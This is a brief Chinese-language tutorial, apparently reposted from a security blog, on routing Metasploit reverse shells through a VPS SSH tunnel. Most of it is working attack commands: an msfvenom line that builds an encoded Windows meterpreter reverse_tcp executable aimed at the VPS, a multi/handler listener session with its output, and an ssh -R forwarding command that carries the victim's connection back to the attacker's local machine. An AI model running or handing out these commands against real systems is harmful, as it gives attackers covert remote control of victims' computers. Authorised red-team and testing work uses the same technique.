这里首先需要配置VPS ssh服务
编辑 /etc/ssh/sshd_config
在文件最后添加
GatewayPorts ye
重启ssh服务
之后配置msf客户端:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b
‘\x00’ LHOST=[vpsIP] LPORT=8888 -f exe > abc.exe
之后本地启用监听:
| msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.100
lhost => 192.168.2.100
msf exploit(handler) > set lport 8888
lport => 8888
msf exploit(handler) > set exitonsession false
exitonsession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.100:8888
|
开启ssh隧道:
ssh -N -R 8888:192.168.2.100:8888 [email protected]
客户端被执行以后,成功返回回话:
文章出处:Evi1cg's blog
原文链接:
https://evi1cg.me/archives/Port_Forward_using_VPS_SSH_Tunnel.html
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650458628&idx=3&sn=3375e76dc8785a4e8ad658932a8ac3f6&chksm=83bbafe0b4cc26f6103c3116ca63b1c864054452662754fe8dd8746d08c6b2e61957c010d0b4#rd
如有侵权请联系:admin#unsafe.sh